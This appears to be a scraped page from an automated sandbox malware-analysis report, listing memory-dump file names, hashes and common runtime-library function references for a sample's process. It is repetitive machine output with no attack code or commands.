Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 628139c74a756a4f6eb1b6a14b9072655d805e739e4485d3acd140f48447f645
Instruction ID: 63e669cae9f725c9f1d561d84c2864897624794bffa7c01c38172579e9255f27
Opcode Fuzzy Hash: 628139c74a756a4f6eb1b6a14b9072655d805e739e4485d3acd140f48447f645
Instruction Fuzzy Hash: 7841B170708214ABCB19AB24CC86FADBBB5EF45714F04509EE506AB382CB74AD46C791

Function 00ED56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 00ED56F2
_InternalDeleteHelper.LIBCONCRT ref: 00ED5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 00ED578B
SafeRWList.LIBCONCRT ref: 00ED579A

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: bc116e1749ab67aa3e1d9d3605692a99f3279a750800c3e74cfe1d39f50116df
Instruction ID: 4a2f365f02227066209b35b204282c49220f3675deb66331186f56651bbe65cc
Opcode Fuzzy Hash: bc116e1749ab67aa3e1d9d3605692a99f3279a750800c3e74cfe1d39f50116df
Instruction Fuzzy Hash: 7D3126767006149FDF05AF20C881FAD77A6EFC8714F18417AE90AAB395DF30AD068B90

Function 00ED2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00ED2D0F

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 133c697d258c65d97f83803a28ea8a2bd0c9da1207defb2bc5060b2ff953d750
Instruction ID: e457f0e5132b72949ce3f720e8861cbeee2da0052b89af274c5af3727bd571a1
Opcode Fuzzy Hash: 133c697d258c65d97f83803a28ea8a2bd0c9da1207defb2bc5060b2ff953d750
Instruction Fuzzy Hash: 4F313A75A00309DFCF10DF94C480BAE7BBAEB54314F1414AADA45AB346D731A946DBA1

Function 00EE13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00EE13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00EE1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00EE147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00EE152A

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 40d474f68413367d8a9f06f06d567d33f28ef724216e6fd8d014eb59b45333a1
Instruction ID: 6deb850524532f0e19f93de59caf92db11cd8dfd36c9e44c7dd6e7f286a63ad2
Opcode Fuzzy Hash: 40d474f68413367d8a9f06f06d567d33f28ef724216e6fd8d014eb59b45333a1
Instruction Fuzzy Hash: 5B316071A006099BCB14DFA9C8919EDF7F1BF88710B14A26EE526B7391CB34A941CB90

Function 00ECBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00ECBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00ECBBE4
_xtime_get.LIBCPMT ref: 00ECBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00ECBC13

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: c02fb1969a86da8d9ae371874a44b4ebc4d54d3d51e945786e4422ee919f0e2a
Instruction ID: c7eed2ad7f18daaffa79b2c9d1be7a4d6b4a872ab5e8f106a0bb048007de42d8
Opcode Fuzzy Hash: c02fb1969a86da8d9ae371874a44b4ebc4d54d3d51e945786e4422ee919f0e2a
Instruction Fuzzy Hash: B8211D71A00119AFDF00EBA4DA82EBEB7B9EF48714F50505DF505B7251DB319D029BA1

